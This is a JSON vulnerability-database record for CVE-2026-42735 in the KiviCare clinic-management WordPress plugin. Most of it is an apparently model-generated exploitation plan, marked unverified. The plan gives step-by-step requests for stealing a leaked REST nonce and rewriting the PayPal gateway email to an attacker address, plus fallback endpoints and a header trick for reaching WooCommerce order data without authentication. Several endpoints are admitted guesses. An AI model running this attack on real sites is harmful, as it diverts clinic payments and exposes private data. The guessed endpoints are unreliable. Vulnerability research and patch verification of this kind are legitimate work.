[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fHfeBSsqgPrOEpn3QYHILKxhXnwX6VQ0kHgIaf5-ixpc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":37},"CVE-2026-42735","kivicare-clinic-patient-management-system-ehr-missing-authorization-3","KiviCare – Clinic & Patient Management System (EHR) \u003C= 4.3.0 - Missing Authorization","The KiviCare – Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 4.3.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.","kivicare-clinic-management-system",null,"\u003C=4.3.0","4.4.0","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-05-26 00:00:00","2026-06-02 12:07:39",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff9d11597-0bea-4f58-9dac-b4b82d07c2f6?source=api-prod",8,[22,23,24,25,26,27,28,29],"app\u002Fabstracts\u002FKCAbstractPaymentGateway.php","app\u002Fabstracts\u002FKCShortcodeAbstract.php","app\u002FbaseClasses\u002FKCApp.php","app\u002FbaseClasses\u002FKCSidebarManager.php","app\u002Fcontrollers\u002Fapi\u002FAppointmentsController.php","app\u002Fcontrollers\u002Fapi\u002FAuthController.php","app\u002Fcontrollers\u002Fapi\u002FBillController.php","app\u002Fcontrollers\u002Fapi\u002FClinicController.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-42735\n\n## 1. Vulnerability Summary\nThe **KiviCare – Clinic & Patient Management System (EHR)** plugin for WordPress (versions \u003C= 4.3.0) contains a **Missing Authorization** vulnerability. Specifically, certain REST API endpoints related to plugin configuration and payment gateway settings fail to implement proper capability checks. This allows unauthenticated attackers to modify sensitive plugin settings, such as payment gateway credentials (e.g., PayPal email, API keys), by sending a crafted REST API request.\n\nThe vulnerability stems from the fact that the REST API controllers (likely `SettingsController` or `PaymentGatewayController`, inferred from the plugin structure) register routes without a restrictive `permission_callback` or with a callback that only checks for basic `read` capabilities instead of administrative `manage_options` capabilities.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `POST \u002Fwp-json\u002Fkivicare\u002Fv1\u002Fset-payment-gateway-settings` (Inferred based on `KCAbstractPaymentGateway` and common KiviCare REST patterns).\n- **Alternative Endpoint:** `POST \u002Fwp-json\u002Fkivicare\u002Fv1\u002Fsettings\u002Fpayment-gateways`.\n- **Authentication:** Unauthenticated (`PR:N`).\n- **Required Header:** `X-WP-Nonce` (WordPress REST API nonce).\n- **Payload:** JSON body containing `gateway_id` and a `settings` object.\n- **Precondition:** At least one KiviCare shortcode must be present on a public page to leak the REST nonce.\n\n## 3. Code Flow\n1. **Entry Point:** The attacker sends a `POST` request to the KiviCare REST API settings endpoint.\n2. **Authorization Failure:** The `permission_callback` for the route is either missing, returns `true`, or uses a weak check like `current_user_can('read')`.\n3. **Controller Logic:** The controller identifies the target gateway using the `gateway_id` parameter.\n4. **Gateway Initialization:** The controller instantiates the corresponding gateway class (which extends `KCAbstractPaymentGateway`).\n5. **Setting Update:** The controller calls `$gateway->update_settings($request_settings)`.\n6. **Data Sink:** The gateway calls `protected function save_settings()` (from `app\u002Fabstracts\u002FKCAbstractPaymentGateway.php`), which executes:\n   ```php\n   $json_settings = json_encode($this->settings);\n   update_option($this->settings_keys, $json_settings);\n   ```\n7. **Result:** The WordPress `options` table is updated with attacker-controlled settings for that gateway.\n\n## 4. Nonce Acquisition Strategy\nThe plugin leaks a valid `wp_rest` nonce to unauthenticated users via the `kc_frontend` JavaScript object when a KiviCare shortcode is rendered on a page.\n\n### Steps to obtain the nonce:\n1. **Identify\u002FCreate Shortcode Page:** Identify a page containing a KiviCare shortcode. If none exists, create one:\n   - `wp post create --post_type=page --post_status=publish --post_title=\"Booking\" --post_content='[kivicare_book_appointment]'`\n2. **Navigate and Extract:**\n   - Use `browser_navigate` to visit the page.\n   - Use `browser_eval` to extract the nonce from the `kc_frontend` object registered in `app\u002Fabstracts\u002FKCShortcodeAbstract.php`:\n     ```javascript\n     window.kc_frontend?.nonce\n     ```\n   - *Note:* The localization key `kc_frontend` is verbatim from `KCShortcodeAbstract.php` line 125.\n\n## 5. Exploitation Strategy\n### Step 1: Obtain REST Nonce\nNavigate to the page created in the Test Data Setup and extract the `kc_frontend.nonce` value.\n\n### Step 2: Perform Settings Modification\nSend a `POST` request to modify the PayPal gateway settings. We will change the PayPal email to an attacker-controlled address.\n\n- **Method:** `POST`\n- **URL:** `\u002Fwp-json\u002Fkivicare\u002Fv1\u002Fset-payment-gateway-settings`\n- **Headers:**\n  - `Content-Type: application\u002Fjson`\n  - `X-WP-Nonce: [EXTRACTED_NONCE]`\n- **Body:**\n  ```json\n  {\n    \"gateway_id\": \"paypal\",\n    \"settings\": {\n      \"paypal_email\": \"attacker@evil.com\",\n      \"is_enabled\": \"1\",\n      \"test_mode\": \"1\"\n    }\n  }\n  ```\n\n## 6. Test Data Setup\n1. **Plugin Installation:** Ensure KiviCare \u003C= 4.3.0 is installed and active.\n2. **Page Creation:** Create a public page with the appointment booking shortcode to trigger asset registration:\n   ```bash\n   wp post create --post_type=page --post_status=publish --post_title=\"KiviCare Portal\" --post_content='[kivicare_book_appointment]'\n   ```\n3. **Gateway Verification:** Confirm the current state of PayPal settings:\n   ```bash\n   wp option get kivicare_paypal_settings\n   ```\n\n## 7. Expected Results\n- The REST API should return a `200 OK` response with a JSON success message.\n- The `kivicare_paypal_settings` option in the WordPress database should now contain the attacker's email address (`attacker@evil.com`).\n\n## 8. Verification Steps\nAfter the HTTP request, verify the database state using WP-CLI:\n```bash\n# Check if the option was updated\nwp option get kivicare_paypal_settings --format=json\n```\nVerify that the `paypal_email` field matches the payload sent in Step 5.\n\n## 9. Alternative Approaches\nIf `set-payment-gateway-settings` is not the correct endpoint, attempt a generic settings update:\n- **Target:** `POST \u002Fwp-json\u002Fkivicare\u002Fv1\u002Fsettings`\n- **Body:**\n  ```json\n  {\n    \"option_name\": \"kivicare_paypal_settings\",\n    \"option_value\": \"{\\\"paypal_email\\\":\\\"attacker@evil.com\\\",\\\"is_enabled\\\":\\\"1\\\"}\"\n  }\n  ```\nIf the WooCommerce bypass filter identified in `KCApp.php` is the intended target:\n- **Target:** `GET \u002Fwp-json\u002Fwc\u002Fv3\u002Forders`\n- **Header:** `X-App-Version: [KIVI_CARE_API_VERSION]` (Check the plugin's main file or `KIVI_CARE_API_VERSION` constant value, likely `4.3.0` or `1.0.0`).\n- **Logic:** This header should trigger the `woocommerce_rest_check_permissions` filter to return `true`, granting unauthenticated access to WooCommerce data.","gemini-3-flash-preview","2026-06-04 20:49:58","2026-06-04 20:50:48",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","4.3.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkivicare-clinic-management-system\u002Ftags\u002F4.3.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkivicare-clinic-management-system.4.3.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkivicare-clinic-management-system\u002Ftags\u002F4.4.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkivicare-clinic-management-system.4.4.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkivicare-clinic-management-system\u002Ftags"]